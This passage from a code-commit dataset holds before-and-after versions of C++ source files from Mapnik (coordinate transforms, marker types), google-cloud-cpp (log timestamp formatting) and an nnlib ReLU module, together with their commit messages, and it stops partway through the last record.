e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n backward(&x0,&y0);\n backward(&x1,&y1);\n return box2d<double>(x0,y0,x1,y1);\n }\n\n inline CoordinateArray& forward(CoordinateArray& coords) const\n {\n for (unsigned i=0;i<coords.size();++i)\n {\n forward(coords[i]);\n }\n return coords;\n }\n \n inline CoordinateArray& backward(CoordinateArray& coords) const\n {\n for (unsigned i=0;i<coords.size();++i)\n {\n backward(coords[i]);\n }\n return coords;\n }\n inline box2d<double> const& extent() const\n {\n return extent_;\n }\n};\n}\n\n#endif \/\/CTRANS_HPP\n<commit_msg>code cleanup<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\n#ifndef CTRANS_HPP\n#define CTRANS_HPP\n\n#include <algorithm>\n\n#include <mapnik\/box2d.hpp>\n#include <mapnik\/vertex.hpp>\n#include <mapnik\/coord_array.hpp>\n#include <mapnik\/proj_transform.hpp>\n\nnamespace mapnik\n{\n\ntypedef coord_array<coord2d> CoordinateArray;\n\n\ntemplate <typename Transform, typename Geometry>\nstruct MAPNIK_DECL coord_transform\n{\n coord_transform(Transform const& t, Geometry& geom)\n : t_(t), geom_(geom) {}\n\n unsigned vertex(double *x, double *y) const\n {\n unsigned command = geom_.vertex(x, y);\n t_.forward(x, y);\n return command;\n }\n\n void rewind(unsigned pos)\n {\n geom_.rewind(pos);\n }\n\nprivate:\n Transform const& t_;\n Geometry& geom_;\n};\n\n\ntemplate <typename Transform, typename Geometry>\nstruct MAPNIK_DECL coord_transform2\n{\n typedef std::size_t size_type;\n typedef typename Geometry::value_type value_type;\n\n coord_transform2(Transform const& t,\n Geometry const& geom,\n proj_transform const& prj_trans)\n : t_(t),\n geom_(geom),\n prj_trans_(prj_trans) {}\n\n unsigned vertex(double *x, double *y) const\n {\n unsigned command = SEG_MOVETO;\n bool ok = false;\n bool skipped_points = false;\n double z = 0;\n while (!ok && command != SEG_END)\n {\n command = geom_.vertex(x, y);\n ok = prj_trans_.backward(*x, *y, z);\n if (!ok) {\n skipped_points = true;\n }\n }\n if (skipped_points && (command == SEG_LINETO))\n {\n command = SEG_MOVETO;\n }\n t_.forward(x, y);\n return command;\n }\n\n void rewind(unsigned pos)\n {\n geom_.rewind(pos);\n }\n\n Geometry const& geom() const\n {\n return geom_;\n }\n\nprivate:\n Transform const& t_;\n Geometry const& geom_;\n proj_transform const& prj_trans_;\n};\n\n\ntemplate <typename Transform, typename Geometry>\nstruct MAPNIK_DECL coord_transform3\n{\n coord_transform3(Transform const& t,\n Geometry const& geom,\n proj_transform const& prj_trans,\n int dx, int dy)\n : t_(t),\n geom_(geom),\n prj_trans_(prj_trans),\n dx_(dx), dy_(dy) {}\n\n unsigned vertex(double *x, double *y) const\n {\n unsigned command = geom_.vertex(x, y);\n double z = 0;\n prj_trans_.backward(*x, *y, z);\n t_.forward(x, y);\n *x += dx_;\n *y += dy_;\n return command;\n }\n\n void rewind(unsigned pos)\n {\n geom_.rewind(pos);\n }\n\nprivate:\n Transform const& t_;\n Geometry const& geom_;\n proj_transform const& prj_trans_;\n int dx_;\n int dy_;\n};\n\n\nclass CoordTransform\n{\nprivate:\n int width_;\n int height_;\n double sx_;\n double sy_;\n box2d<double> extent_;\n double offset_x_;\n double offset_y_;\n\npublic:\n CoordTransform(int width, int height, const box2d<double>& extent,\n double offset_x = 0, double offset_y = 0)\n : width_(width), height_(height), extent_(extent),\n offset_x_(offset_x), offset_y_(offset_y)\n {\n sx_ = double(width_) \/ extent_.width();\n sy_ = double(height_) \/ extent_.height();\n }\n\n inline int width() const\n {\n return width_;\n }\n\n inline int height() const\n {\n return height_;\n }\n\n inline double scale_x() const\n {\n return sx_;\n }\n\n inline double scale_y() const\n {\n return sy_;\n }\n\n inline void forward(double *x, double *y) const\n {\n *x = (*x - extent_.minx()) * sx_ - offset_x_;\n *y = (extent_.maxy() - *y) * sy_ - offset_y_;\n }\n\n inline void backward(double *x, double *y) const\n {\n *x = extent_.minx() + (*x + offset_x_) \/ sx_;\n *y = extent_.maxy() - (*y + offset_y_) \/ sy_;\n }\n\n inline coord2d& forward(coord2d& c) const\n {\n forward(&c.x, &c.y);\n return c;\n }\n\n inline coord2d& backward(coord2d& c) const\n {\n backward(&c.x, &c.y);\n return c;\n }\n\n inline box2d<double> forward(const box2d<double>& e,\n proj_transform const& prj_trans) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n double z = 0.0;\n prj_trans.backward(x0, y0, z);\n forward(&x0, &y0);\n prj_trans.backward(x1, y1, z);\n forward(&x1, &y1);\n return box2d<double>(x0, y0, x1, y1);\n }\n\n inline box2d<double> forward(const box2d<double>& e) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n forward(&x0, &y0);\n forward(&x1, &y1);\n return box2d<double>(x0, y0, x1, y1);\n }\n\n inline box2d<double> backward(const box2d<double>& e,\n proj_transform const& prj_trans) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n double z = 0.0;\n backward(&x0, &y0);\n prj_trans.forward(x0, y0, z);\n backward(&x1, &y1);\n prj_trans.forward(x1, y1, z);\n return box2d<double>(x0, y0, x1, y1);\n }\n\n inline box2d<double> backward(const box2d<double>& e) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n backward(&x0, &y0);\n backward(&x1, &y1);\n return box2d<double>(x0, y0, x1, y1);\n }\n\n inline CoordinateArray& forward(CoordinateArray& coords) const\n {\n for (unsigned i = 0; i < coords.size(); ++i)\n {\n forward(coords[i]);\n }\n return coords;\n }\n\n inline CoordinateArray& backward(CoordinateArray& coords) const\n {\n for (unsigned i = 0; i < coords.size(); ++i)\n {\n backward(coords[i]);\n }\n return coords;\n }\n\n inline box2d<double> const& extent() const\n {\n return extent_;\n }\n};\n}\n\n#endif \/\/CTRANS_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_MARKER_HPP\n#define MAPNIK_MARKER_HPP\n\n\/\/ mapnik\n#include <mapnik\/image.hpp>\n#include <mapnik\/svg\/svg_storage.hpp>\n#include <mapnik\/svg\/svg_path_adapter.hpp>\n#include <mapnik\/util\/variant.hpp>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore_agg.hpp>\n#include \"agg_array.h\"\n#pragma GCC diagnostic pop\n\n\/\/ stl\n#include <deque>\n#include <memory>\n\nnamespace mapnik\n{\n\nstruct image_any;\nnamespace svg { struct path_attributes; }\n\nusing svg::svg_path_adapter;\n\nusing svg_attribute_type = std::deque<svg::path_attributes>;\nusing svg_storage_type = svg::svg_storage<svg::svg_path_storage, svg_attribute_type>;\nusing svg_path_ptr = std::shared_ptr<svg_storage_type>;\nusing image_ptr = std::shared_ptr<image_any>;\n\nstruct marker_rgba8\n{\npublic:\n marker_rgba8()\n : bitmap_data_(4,4,true,true)\n {\n \/\/ create default OGC 4x4 black pixel\n bitmap_data_.set(0xff000000);\n }\n\n explicit marker_rgba8(image_rgba8 const& data)\n : bitmap_data_(data) {}\n\n explicit marker_rgba8(image_rgba8 && data) noexcept\n : bitmap_data_(std::move(data)) {}\n\n box2d<double> bounding_box() const\n {\n std::size_t _width = bitmap_data_.width();\n std::size_t _height = bitmap_data_.height();\n return box2d<double>(static_cast<double>(0), static_cast<double>(0), static_cast<double>(_width), static_cast<double>(_height));\n }\n\n inline double width() const\n {\n return static_cast<double>(bitmap_data_.width());\n }\n\n inline double height() const\n {\n return static_cast<double>(bitmap_data_.height());\n }\n\n image_rgba8 const& get_data() const\n {\n return bitmap_data_;\n }\n\nprivate:\n image_rgba8 bitmap_data_;\n};\n\nstruct marker_svg\n{\npublic:\n marker_svg() = default;\n\n explicit marker_svg(mapnik::svg_path_ptr data) noexcept\n : vector_data_(data) {}\n\n inline box2d<double> bounding_box() const\n {\n return vector_data_->bounding_box();\n }\n\n inline double width() const\n {\n return vector_data_->bounding_box().width();\n }\n inline double height() const\n {\n return vector_data_->bounding_box().height();\n }\n\n inline mapnik::svg_path_ptr get_data() const\n {\n return vector_data_;\n }\n\n inline std::tuple<double,double> dimensions() const\n {\n return std::make_tuple(vector_data_->width(), vector_data_->height());\n }\nprivate:\n mapnik::svg_path_ptr vector_data_;\n\n};\n\nstruct marker_null\n{\npublic:\n inline box2d<double> bounding_box() const\n {\n return box2d<double>();\n }\n inline double width() const\n {\n return 0;\n }\n inline double height() const\n {\n return 0;\n }\n};\n\nusing marker_base = util::variant<marker_null,\n marker_rgba8,\n marker_svg>;\nnamespace detail {\n\nstruct get_marker_bbox_visitor\n{\n template <typename T>\n box2d<double> operator()(T & data) const\n {\n return data.bounding_box();\n }\n};\n\nstruct get_marker_width_visitor\n{\n template <typename T>\n double operator()(T const& data) const\n {\n return data.width();\n }\n};\n\nstruct get_marker_height_visitor\n{\n template <typename T>\n double operator()(T const& data) const\n {\n return data.height();\n }\n};\n\n} \/\/ end detail ns\n\nstruct marker : marker_base\n{\n marker() = default;\n\n template <typename T>\n marker(T && _data)\n noexcept(std::is_nothrow_constructible<marker_base, T && >::value)\n : marker_base(std::forward<T>(_data)) {}\n\n double width() const\n {\n return util::apply_visitor(detail::get_marker_width_visitor(),*this);\n }\n\n double height() const\n {\n return util::apply_visitor(detail::get_marker_height_visitor(),*this);\n }\n\n box2d<double> bounding_box() const\n {\n return util::apply_visitor(detail::get_marker_bbox_visitor(),*this);\n }\n};\n\n} \/\/ end mapnik ns\n\n#endif \/\/ MAPNIK_MARKER_HPP\n<commit_msg>libc++ implementation of std::deque<T> needs T to be complete<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_MARKER_HPP\n#define MAPNIK_MARKER_HPP\n\n\/\/ mapnik\n#include <mapnik\/image.hpp>\n#include <mapnik\/svg\/svg_storage.hpp>\n#include <mapnik\/svg\/svg_path_adapter.hpp>\n#include <mapnik\/svg\/svg_path_attributes.hpp>\n#include <mapnik\/util\/variant.hpp>\n\n\/\/ stl\n#include <deque>\n#include <memory>\n\nnamespace mapnik\n{\n\nstruct image_any;\n\nusing svg::svg_path_adapter;\nusing svg_attribute_type = std::deque<svg::path_attributes>;\nusing svg_storage_type = svg::svg_storage<svg::svg_path_storage, svg_attribute_type>;\nusing svg_path_ptr = std::shared_ptr<svg_storage_type>;\nusing image_ptr = std::shared_ptr<image_any>;\n\nstruct marker_rgba8\n{\npublic:\n marker_rgba8()\n : bitmap_data_(4,4,true,true)\n {\n \/\/ create default OGC 4x4 black pixel\n bitmap_data_.set(0xff000000);\n }\n\n explicit marker_rgba8(image_rgba8 const& data)\n : bitmap_data_(data) {}\n\n explicit marker_rgba8(image_rgba8 && data) noexcept\n : bitmap_data_(std::move(data)) {}\n\n box2d<double> bounding_box() const\n {\n std::size_t _width = bitmap_data_.width();\n std::size_t _height = bitmap_data_.height();\n return box2d<double>(static_cast<double>(0), static_cast<double>(0), static_cast<double>(_width), static_cast<double>(_height));\n }\n\n inline double width() const\n {\n return static_cast<double>(bitmap_data_.width());\n }\n\n inline double height() const\n {\n return static_cast<double>(bitmap_data_.height());\n }\n\n image_rgba8 const& get_data() const\n {\n return bitmap_data_;\n }\n\nprivate:\n image_rgba8 bitmap_data_;\n};\n\nstruct marker_svg\n{\npublic:\n marker_svg() = default;\n\n explicit marker_svg(mapnik::svg_path_ptr data) noexcept\n : vector_data_(data) {}\n\n inline box2d<double> bounding_box() const\n {\n return vector_data_->bounding_box();\n }\n\n inline double width() const\n {\n return vector_data_->bounding_box().width();\n }\n inline double height() const\n {\n return vector_data_->bounding_box().height();\n }\n\n inline mapnik::svg_path_ptr get_data() const\n {\n return vector_data_;\n }\n\n inline std::tuple<double,double> dimensions() const\n {\n return std::make_tuple(vector_data_->width(), vector_data_->height());\n }\nprivate:\n mapnik::svg_path_ptr vector_data_;\n\n};\n\nstruct marker_null\n{\npublic:\n inline box2d<double> bounding_box() const\n {\n return box2d<double>();\n }\n inline double width() const\n {\n return 0;\n }\n inline double height() const\n {\n return 0;\n }\n};\n\nusing marker_base = util::variant<marker_null,\n marker_rgba8,\n marker_svg>;\nnamespace detail {\n\nstruct get_marker_bbox_visitor\n{\n template <typename T>\n box2d<double> operator()(T & data) const\n {\n return data.bounding_box();\n }\n};\n\nstruct get_marker_width_visitor\n{\n template <typename T>\n double operator()(T const& data) const\n {\n return data.width();\n }\n};\n\nstruct get_marker_height_visitor\n{\n template <typename T>\n double operator()(T const& data) const\n {\n return data.height();\n }\n};\n\n} \/\/ end detail ns\n\nstruct marker : marker_base\n{\n marker() = default;\n\n template <typename T>\n marker(T && _data)\n noexcept(std::is_nothrow_constructible<marker_base, T && >::value)\n : marker_base(std::forward<T>(_data)) {}\n\n double width() const\n {\n return util::apply_visitor(detail::get_marker_width_visitor(),*this);\n }\n\n double height() const\n {\n return util::apply_visitor(detail::get_marker_height_visitor(),*this);\n }\n\n box2d<double> bounding_box() const\n {\n return util::apply_visitor(detail::get_marker_bbox_visitor(),*this);\n }\n};\n\n} \/\/ end mapnik ns\n\n#endif \/\/ MAPNIK_MARKER_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/log.h\"\n#include \"google\/cloud\/internal\/getenv.h\"\n#include <array>\n#include <cstdint>\n#include <ctime>\n#include <iomanip>\n\nnamespace google {\nnamespace cloud {\ninline namespace GOOGLE_CLOUD_CPP_NS {\n\nstatic_assert(sizeof(Severity) <= sizeof(int),\n \"Expected Severity to fit in an integer\");\n\nstatic_assert(static_cast<int>(Severity::GCP_LS_LOWEST) <\n static_cast<int>(Severity::GCP_LS_HIGHEST),\n \"Expect LOWEST severity to be smaller than HIGHEST severity\");\n\nnamespace {\nstruct Timestamp {\n explicit Timestamp(std::chrono::system_clock::time_point const& tp) {\n auto const tt = std::chrono::system_clock::to_time_t(tp);\n#if defined(_WIN32)\n gmtime_s(&tm, &tt);\n#else\n gmtime_r(&tt, &tm);\n#endif\n auto const ss = tp - std::chrono::system_clock::from_time_t(tt);\n nanos = static_cast<std::int32_t>(\n std::chrono::duration_cast<std::chrono::nanoseconds>(ss).count());\n }\n std::tm tm;\n std::int32_t nanos;\n};\n\nstd::ostream& operator<<(std::ostream& os, Timestamp const& ts) {\n auto const prev = os.fill(' ');\n auto constexpr kTmYearOffset = 1900;\n os << std::setw(4) << ts.tm.tm_year + kTmYearOffset;\n os.fill('0');\n os << '-' << std::setw(2) << ts.tm.tm_mon + 1;\n os << '-' << std::setw(2) << ts.tm.tm_mday;\n os << 'T' << std::setw(2) << ts.tm.tm_hour;\n os << ':' << std::setw(2) << ts.tm.tm_min;\n os << ':' << std::setw(2) << ts.tm.tm_sec;\n \/\/ NOLINTNEXTLINE(readability-magic-numbers)\n os << '.' << std::setw(9) << ts.nanos << 'Z';\n os.fill(prev);\n return os;\n}\n\nauto constexpr kSeverityCount = static_cast<int>(Severity::GCP_LS_HIGHEST) + 1;\n\n\/\/ Double braces needed to workaround a clang-3.8 bug.\nstd::array<char const*, kSeverityCount> constexpr kSeverityNames{{\n \"TRACE\",\n \"DEBUG\",\n \"INFO\",\n \"NOTICE\",\n \"WARNING\",\n \"ERROR\",\n \"CRITICAL\",\n \"ALERT\",\n \"FATAL\",\n}};\n} \/\/ namespace\n\nstd::ostream& operator<<(std::ostream& os, Severity x) {\n auto index = static_cast<int>(x);\n return os << kSeverityNames[index];\n}\n\nstd::ostream& operator<<(std::ostream& os, LogRecord const& rhs) {\n return os << Timestamp{rhs.timestamp} << \" [\" << rhs.severity << \"] \"\n << rhs.message << \" (\" << rhs.filename << ':' << rhs.lineno << ')';\n}\n\nLogSink::LogSink()\n : empty_(true),\n minimum_severity_(static_cast<int>(Severity::GCP_LS_LOWEST_ENABLED)),\n next_id_(0),\n clog_backend_id_(0) {}\n\nLogSink& LogSink::Instance() {\n static auto* const kInstance = [] {\n auto* p = new LogSink;\n if (internal::GetEnv(\"GOOGLE_CLOUD_CPP_ENABLE_CLOG\").has_value()) {\n p->EnableStdClogImpl();\n }\n return p;\n }();\n return *kInstance;\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nlong LogSink::AddBackend(std::shared_ptr<LogBackend> backend) {\n std::unique_lock<std::mutex> lk(mu_);\n return AddBackendImpl(std::move(backend));\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nvoid LogSink::RemoveBackend(long id) {\n std::unique_lock<std::mutex> lk(mu_);\n RemoveBackendImpl(id);\n}\n\nvoid LogSink::ClearBackends() {\n std::unique_lock<std::mutex> lk(mu_);\n backends_.clear();\n clog_backend_id_ = 0;\n empty_.store(backends_.empty());\n}\n\nstd::size_t LogSink::BackendCount() const {\n std::unique_lock<std::mutex> lk(mu_);\n return backends_.size();\n}\n\nvoid LogSink::Log(LogRecord log_record) {\n \/\/ Make a copy of the backends because calling user-defined functions while\n \/\/ holding a lock is a bad idea: the application may change the backends while\n \/\/ we are holding this lock, and soon deadlock occurs.\n auto copy = [this]() {\n std::unique_lock<std::mutex> lk(mu_);\n return backends_;\n }();\n if (copy.empty()) {\n return;\n }\n \/\/ In general, we just give each backend a const-reference and the backends\n \/\/ must make a copy if needed. But if there is only one backend we can give\n \/\/ the backend an opportunity to optimize things by transferring ownership of\n \/\/ the LogRecord to it.\n if (copy.size() == 1) {\n copy.begin()->second->ProcessWithOwnership(std::move(log_record));\n return;\n }\n for (auto& kv : copy) {\n kv.second->Process(log_record);\n }\n}\n\nnamespace {\nclass StdClogBackend : public LogBackend {\n public:\n StdClogBackend() = default;\n\n void Process(LogRecord const& lr) override {\n std::clog << lr << \"\\n\";\n if (lr.severity >= Severity::GCP_LS_WARNING) {\n std::clog << std::flush;\n }\n }\n void ProcessWithOwnership(LogRecord lr) override { Process(lr); }\n};\n} \/\/ namespace\n\nvoid LogSink::EnableStdClogImpl() {\n std::unique_lock<std::mutex> lk(mu_);\n if (clog_backend_id_ != 0) {\n return;\n }\n clog_backend_id_ = AddBackendImpl(std::make_shared<StdClogBackend>());\n}\n\nvoid LogSink::DisableStdClogImpl() {\n std::unique_lock<std::mutex> lk(mu_);\n if (clog_backend_id_ == 0) {\n return;\n }\n RemoveBackendImpl(clog_backend_id_);\n clog_backend_id_ = 0;\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nlong LogSink::AddBackendImpl(std::shared_ptr<LogBackend> backend) {\n auto const id = ++next_id_;\n backends_.emplace(id, std::move(backend));\n empty_.store(backends_.empty());\n return id;\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nvoid LogSink::RemoveBackendImpl(long id) {\n auto it = backends_.find(id);\n if (backends_.end() == it) {\n return;\n }\n backends_.erase(it);\n empty_.store(backends_.empty());\n}\n\n} \/\/ namespace GOOGLE_CLOUD_CPP_NS\n} \/\/ namespace cloud\n} \/\/ namespace google\n<commit_msg>refactor: use absl::Time for the google\/cloud\/log.h timestamp (#4690)<commit_after>\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/log.h\"\n#include \"google\/cloud\/internal\/getenv.h\"\n#include \"absl\/time\/time.h\"\n#include <array>\n\nnamespace google {\nnamespace cloud {\ninline namespace GOOGLE_CLOUD_CPP_NS {\n\nstatic_assert(sizeof(Severity) <= sizeof(int),\n \"Expected Severity to fit in an integer\");\n\nstatic_assert(static_cast<int>(Severity::GCP_LS_LOWEST) <\n static_cast<int>(Severity::GCP_LS_HIGHEST),\n \"Expect LOWEST severity to be smaller than HIGHEST severity\");\n\nnamespace {\nstruct Timestamp {\n explicit Timestamp(std::chrono::system_clock::time_point const& tp)\n : t(absl::FromChrono(tp)) {}\n absl::Time t;\n};\n\nstd::ostream& operator<<(std::ostream& os, Timestamp const& ts) {\n auto constexpr kFormat = \"%E4Y-%m-%dT%H:%M:%E9SZ\";\n return os << absl::FormatTime(kFormat, ts.t, absl::UTCTimeZone());\n}\n\nauto constexpr kSeverityCount = static_cast<int>(Severity::GCP_LS_HIGHEST) + 1;\n\n\/\/ Double braces needed to workaround a clang-3.8 bug.\nstd::array<char const*, kSeverityCount> constexpr kSeverityNames{{\n \"TRACE\",\n \"DEBUG\",\n \"INFO\",\n \"NOTICE\",\n \"WARNING\",\n \"ERROR\",\n \"CRITICAL\",\n \"ALERT\",\n \"FATAL\",\n}};\n} \/\/ namespace\n\nstd::ostream& operator<<(std::ostream& os, Severity x) {\n auto index = static_cast<int>(x);\n return os << kSeverityNames[index];\n}\n\nstd::ostream& operator<<(std::ostream& os, LogRecord const& rhs) {\n return os << Timestamp{rhs.timestamp} << \" [\" << rhs.severity << \"] \"\n << rhs.message << \" (\" << rhs.filename << ':' << rhs.lineno << ')';\n}\n\nLogSink::LogSink()\n : empty_(true),\n minimum_severity_(static_cast<int>(Severity::GCP_LS_LOWEST_ENABLED)),\n next_id_(0),\n clog_backend_id_(0) {}\n\nLogSink& LogSink::Instance() {\n static auto* const kInstance = [] {\n auto* p = new LogSink;\n if (internal::GetEnv(\"GOOGLE_CLOUD_CPP_ENABLE_CLOG\").has_value()) {\n p->EnableStdClogImpl();\n }\n return p;\n }();\n return *kInstance;\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nlong LogSink::AddBackend(std::shared_ptr<LogBackend> backend) {\n std::unique_lock<std::mutex> lk(mu_);\n return AddBackendImpl(std::move(backend));\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nvoid LogSink::RemoveBackend(long id) {\n std::unique_lock<std::mutex> lk(mu_);\n RemoveBackendImpl(id);\n}\n\nvoid LogSink::ClearBackends() {\n std::unique_lock<std::mutex> lk(mu_);\n backends_.clear();\n clog_backend_id_ = 0;\n empty_.store(backends_.empty());\n}\n\nstd::size_t LogSink::BackendCount() const {\n std::unique_lock<std::mutex> lk(mu_);\n return backends_.size();\n}\n\nvoid LogSink::Log(LogRecord log_record) {\n \/\/ Make a copy of the backends because calling user-defined functions while\n \/\/ holding a lock is a bad idea: the application may change the backends while\n \/\/ we are holding this lock, and soon deadlock occurs.\n auto copy = [this]() {\n std::unique_lock<std::mutex> lk(mu_);\n return backends_;\n }();\n if (copy.empty()) {\n return;\n }\n \/\/ In general, we just give each backend a const-reference and the backends\n \/\/ must make a copy if needed. But if there is only one backend we can give\n \/\/ the backend an opportunity to optimize things by transferring ownership of\n \/\/ the LogRecord to it.\n if (copy.size() == 1) {\n copy.begin()->second->ProcessWithOwnership(std::move(log_record));\n return;\n }\n for (auto& kv : copy) {\n kv.second->Process(log_record);\n }\n}\n\nnamespace {\nclass StdClogBackend : public LogBackend {\n public:\n StdClogBackend() = default;\n\n void Process(LogRecord const& lr) override {\n std::clog << lr << \"\\n\";\n if (lr.severity >= Severity::GCP_LS_WARNING) {\n std::clog << std::flush;\n }\n }\n void ProcessWithOwnership(LogRecord lr) override { Process(lr); }\n};\n} \/\/ namespace\n\nvoid LogSink::EnableStdClogImpl() {\n std::unique_lock<std::mutex> lk(mu_);\n if (clog_backend_id_ != 0) {\n return;\n }\n clog_backend_id_ = AddBackendImpl(std::make_shared<StdClogBackend>());\n}\n\nvoid LogSink::DisableStdClogImpl() {\n std::unique_lock<std::mutex> lk(mu_);\n if (clog_backend_id_ == 0) {\n return;\n }\n RemoveBackendImpl(clog_backend_id_);\n clog_backend_id_ = 0;\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nlong LogSink::AddBackendImpl(std::shared_ptr<LogBackend> backend) {\n auto const id = ++next_id_;\n backends_.emplace(id, std::move(backend));\n empty_.store(backends_.empty());\n return id;\n}\n\n\/\/ NOLINTNEXTLINE(google-runtime-int)\nvoid LogSink::RemoveBackendImpl(long id) {\n auto it = backends_.find(id);\n if (backends_.end() == it) {\n return;\n }\n backends_.erase(it);\n empty_.store(backends_.empty());\n}\n\n} \/\/ namespace GOOGLE_CLOUD_CPP_NS\n} \/\/ namespace cloud\n} \/\/ namespace google\n<|endoftext|>"} {"text":"<commit_before>#ifndef NN_RELU_HPP\n#define NN_RELU_HPP\n\n#include <math.h>\n#include \"map.hpp\"\n\nnamespace nnlib\n{\n\n\/\/\/ Rectified linear activation function.\ntemplate <typename T = double>\nclass ReLU : public Map<T>\n{\npublic:\n\tReLU(T leak = 0.1) :\n\t\tm_leak(leak)\n\t{}\n\t\n\tReLU(const ReLU &module) :\n\t\tm_leak(module.m_leak)\n\t{}\n\t\n\tReLU(const Serialized &node) :\n\t\tm_leak(node.get<T>(\"leak\"))\n\t{}\n\t\n\tReLU &operator=(const ReLU &module)\n\t{\n\t\tm_leak = module.m_leak;\n\t\treturn *this;\n\t}\n\t\n\t\/\/\/ Save to a serialized node.\n\tvirtual void save(Serialized &node) const override\n\t{\n\t\tMap<T>::save(node);\n\t\tnode.set(\"leak\", m_leak);\n\t}\n\t\n\t\/\/\/ Get the \"leak\" for this ReLU. 0 if non-leaky.\n\tT leak() const\n\t{\n\t\treturn m_leak;\n\t}\n\t\n\t\/\/\/ Set the \"leak\" for this ReLU. 0 <= leak < 1.\n\tReLU &leak(T leak)\n\t{\n\t\tNNAssertGreaterThanOrEquals(leak, 0, \"Expected positive leak!\");\n\t\tNNAssertLessThan(leak, 1, \"Expected leak to be a percentage!\");\n\t\tm_leak = leak;\n\t\treturn *this;\n\t}\n\t\n\t\/\/\/ Single element forward.\n\tvirtual T forwardOne(const T &x) override\n\t{\n\t\treturn x > 0 ? x : m_leak * x;\n\t}\n\t\n\t\/\/\/ Single element backward.\n\tvirtual T backwardOne(const T &x, const T &y) override\n\t{\n\t\treturn x > 0 ? 1 : m_leak;\n\t}\n\t\nprivate:\n\tT m_leak;\n};\n\n}\n\nNNRegisterType(ReLU, Module);\n\n#endif\n<commit_msg>Added an assert to ReLU constructor.<commit_after>#ifndef NN_RELU_HPP\n#define NN_RELU_HPP\n\n#include <math.h>\n#include \"map.hpp\"\n\nnamespace nnlib\n{\n\n\/\/\/ Rectified linear activation function.\ntemplate <typename T = double>\nclass ReLU : public Map<T>\n{\npublic:\n\tReLU(T leak = 0.1) :\n\t\tm_leak(leak)\n\t{\n\t\tNNAssertGreaterThanOrEquals(leak, 0, \"Expected positive leak!\");\n\t\tNNAssertLessThan(leak, 1, \"Expected leak to be a percentage!\");\n\t}\n\t\n\tReLU(const ReLU &module) :\n\t\tm_leak(module.m_leak)\n\t{}\n\t\n\tReLU(const Serialized &node) :\n\t\tm_leak(node.get<T>(\"leak\"))\n\t{}\n\t\n\tReLU &operator=(const ReLU &module)\n\t{\n\t\tm_leak = 